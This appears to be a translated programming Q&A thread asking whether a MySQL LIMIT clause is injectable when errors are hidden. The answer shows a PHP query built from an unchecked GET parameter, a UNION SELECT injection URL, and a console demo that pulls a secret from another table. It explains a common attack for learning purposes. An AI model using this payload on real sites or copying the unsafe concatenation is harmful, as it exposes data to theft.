LIMIT子句SQL注入没有错误输出

时间:2017-12-10 22:07:49

标签: mysql sql sql-injection

让我们假设我们有这个问题:

SELECT title FROM articles LIMIT 15

我们能够将任何字符串传递给LIMIT子句,但该站点不会输出错误,换句话说,当错误发生时,站点显示空白页。

我的问题是,攻击者仍然可以进行任何类型的SQL注入吗?也许基于时间注入procedure_analyse?

提前致谢。

1 个答案:

答案 0 :(得分:0)

如果存在这样的SQL注入漏洞:

$UnsafeVariable = $_GET['param'];
$sql = "SELECT title FROM articles LIMIT $UnsafeVariable";

然后SQL注入的一个例子可能是::

http://mysite.example.com/page.php?param=0 UNION SELECT anything FROM anytable

使用UNION进行SQL注入很常见。我没有透露任何你在https://owasp.org这样的网站上看不到的内容。你应该尝试做一些阅读。

演示:

mysql> create table MyTable (id int primary key );

mysql> create table SecureTable (secret varchar(50));

mysql> insert into MyTable values (1), (2), (3);

mysql> insert into SecureTable values ('Alohomora');

mysql> select id from MyTable limit 
       /* now the part that is SQL injected */
       1 union select secret from SecureTable;
+-----------+
| id        |
+-----------+
| 1         |
| Alohomora |
+-----------+